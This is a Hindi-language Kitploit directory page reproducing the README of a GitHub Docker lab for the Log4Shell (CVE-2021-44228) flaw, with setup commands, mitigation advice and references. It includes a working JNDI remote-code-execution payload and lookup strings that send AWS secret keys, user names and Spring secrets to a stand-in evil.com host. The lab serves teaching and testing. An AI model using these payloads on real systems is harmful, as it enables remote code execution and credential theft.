Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4shell-docker-lab — Log4Shell (CVE-2021-44228) डॉकर लैब | Kitploit
उपकरण/GitHubGitHub/axelcurmi/log4shell-docker-lab
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Log4Shell (CVE-2021-44228) डॉकर लैब

रिपॉजिटरी देखें
134 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-44228 के लिए Log4Shell Docker लैब

घटक

इस डॉकर लैब में तीन घटकों का उपयोग किया गया है:

  • कमजोर स्प्रिंग-बूट एप्लिकेशन
  • एक HTTP सर्वर जो दूरस्थ कोड निष्पादन के लिए .class फ़ाइलों की मेजबानी करता है
  • एक LDAP रेफरल सर्वर जो विशिष्ट LDAP क्वेरी को HTTP सर्वर पर रीडायरेक्ट करता है

Docker लैब सेटअप

1. Docker नेटवर्क

root@kitploit:~
docker network create log4shell

2. Docker इमेज बनाना

root@kitploit:~
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. कंटेनर चलाना

महत्वपूर्ण नोट: यदि आप Windows PowerShell का उपयोग कर रहे हैं, तो $(pwd) को ${pwd} से बदलें।

root@kitploit:~
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

शोषण

कमजोर एप्लिकेशन खोलें, कुछ गलत परीक्षण क्रेडेंशियल इनपुट करें, और log4shell-vulnapp कंटेनर के लॉग खोलें। यह देखा जा सकता है कि एप्लिकेशन असफल लॉगिन प्रयासों को लॉग कर रहा है (जैसे, 'test' उपयोगकर्ता नाम के लिए गलत लॉगिन प्रयास)। इस छोटे से प्रयोग से यह स्थापित होता है कि हमारे पास लॉग किए गए स्ट्रिंग के कुछ हिस्से पर नियंत्रण है (यानी, उपयोगकर्ता नाम)।

हम दूरस्थ रूप से कोड निष्पादित करने के लिए निम्नलिखित जैसा पेलोड पास कर सकते हैं:

root@kitploit:~
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

दूरस्थ कोड निष्पादन किसी भी जावा संस्करण में किया जा सकता है; हालाँकि, निम्नलिखित सूची से पुराने जावा संस्करणों वाली मशीनें [1]:

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

यह इस तथ्य के कारण है कि बाद के संस्करणों ने JVM सिस्टम प्रॉपर्टी com.sun.jndi.ldap.object.trustURLCodebase को डिफ़ॉल्ट रूप से false पर सेट कर दिया है, जो मनमाने URL कोड बेस से JNDI क्लास लोडिंग को अक्षम करता है। हालाँकि, इस कमजोरी के खिलाफ सुरक्षा के रूप में केवल एक नए जावा संस्करण पर निर्भर रहना जोखिम भरा है, क्योंकि कमजोरी अभी भी उन मशीनों पर शोषित की जा सकती है जिनमें कमजोर एप्लिकेशन के क्लासपाथ में कुछ "गैजेट" क्लास हैं, और DNS क्वेरी का उपयोग पर्यावरण चर जैसी संवेदनशील जानकारी प्राप्त करने के लिए किया जा सकता है।

कई लुकअप प्रतिस्थापन हैं जो पीड़ित मशीन से संवेदनशील जानकारी प्रकट करते हैं। सबसे प्रमुख रूप से, [2, 3] के समान पेलोड का उपयोग करके:

root@kitploit:~
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

नोट: स्प्रिंग लुकअप अटैक स्ट्रिंग के लिए एप्लिकेशन में log4j-spring-cloud-config-client शामिल होना चाहिए। [2]

शमन

इस गंभीर कमजोरी को कम करने का सबसे अच्छा तरीका log4j2 को >= 2.17.0 संस्करण में अपग्रेड करना है। हालाँकि, बिना अपग्रेड किए दो अलग-अलग तरीकों का उपयोग करके इस समस्या को पूरी तरह से कम करना संभव है। उन विक्रेताओं को जो नए Log4j2 संस्करण में अपग्रेड नहीं कर सकते, दोनों शमन विधियों का उपयोग करने की दृढ़ता से अनुशंसा की जाती है जो नीचे निर्दिष्ट हैं [1]।

विधि 1: log4j 2.10.0 या बाद के लिए - लुकअप अक्षम करें

लुकअप को अक्षम करना (वैश्विक रूप से) पर्यावरण चर LOG4J_FORMAT_MSG_NO_LOOKUPS को true पर सेट करके किया जा सकता है, /etc/environment फ़ाइल को संपादित करके और जोड़ें: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]

वैकल्पिक रूप से, कमजोर Java एप्लिकेशन चलाते समय निम्नलिखित कमांड-लाइन फ़्लैग जोड़कर JVM के एक विशिष्ट आह्वान के लिए लुकअप को अक्षम किया जा सकता है: ‐Dlog4j2.formatMsgNoLookups=True [1]

विधि 2: log4j 2.10.0 से पुराने के लिए - कमजोर क्लास को हटाना

जब log4j संस्करण 2.10.0 से पुराना उपयोग कर रहे हों, तो किसी भी Java एप्लिकेशन से JndiLookup क्लास को निकालना संभव है।

संदर्भ

[1] Menashe, S., (2021). All About Log4Shell 0-Day Vulnerability - CVE-2021-44228. [online] JFrog. Available at: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Accessed 24 December 2021].

[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [online] logging.apache.org. Available at: https://logging.apache.org/log4j/2.x/manual/lookups.html [Accessed 24 December 2021].

[3] Oracle. (2021). System Properties. [online] Available at: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Accessed 24 December 2021].

टूल डाउनलोड करें